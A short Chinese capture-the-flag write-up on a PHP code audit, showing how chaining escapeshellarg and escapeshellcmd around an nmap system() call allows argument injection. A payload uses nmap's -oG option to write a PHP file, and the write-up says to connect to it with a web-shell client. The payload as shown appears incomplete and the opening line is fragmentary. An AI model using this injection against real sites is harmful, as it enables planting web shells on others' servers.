典型的PHP代码审计
开始审计
^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); //新建目录,默认权限,最大可能的访问权 chdir($sandbox); //改变目录路径,成功返回true,失败返回false echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); // -sT,在目标主机的日志上记录大批连接请求和错误的信息 // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令 // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟 // --host-time限制扫描时间 // -F,快速扫描 主要看这个$host = escapeshellarg($host); $host = escapeshellcmd($host); escapeshellarg和escapeshellcmd是两个php函数 escapeshellarg: 返回一个转义的字符串,并且结果会被单引号包裹起来 escapeshellcmd: 将下面这些字符转义,即加上\,确保不会解释为shell操作符 & ; | ' " > < \ * ? ~ ^ ( ) [ ] { } $ \n 最后构造payload为: ?host=' -oG mh.php 'http://092a6117-456e-4f49-8435-b717859a695b.node5.buuoj.cn:81/48e2cd8d887cf3cd1da273a3def88ede/mh.php
使用蚁剑链接即可获取flag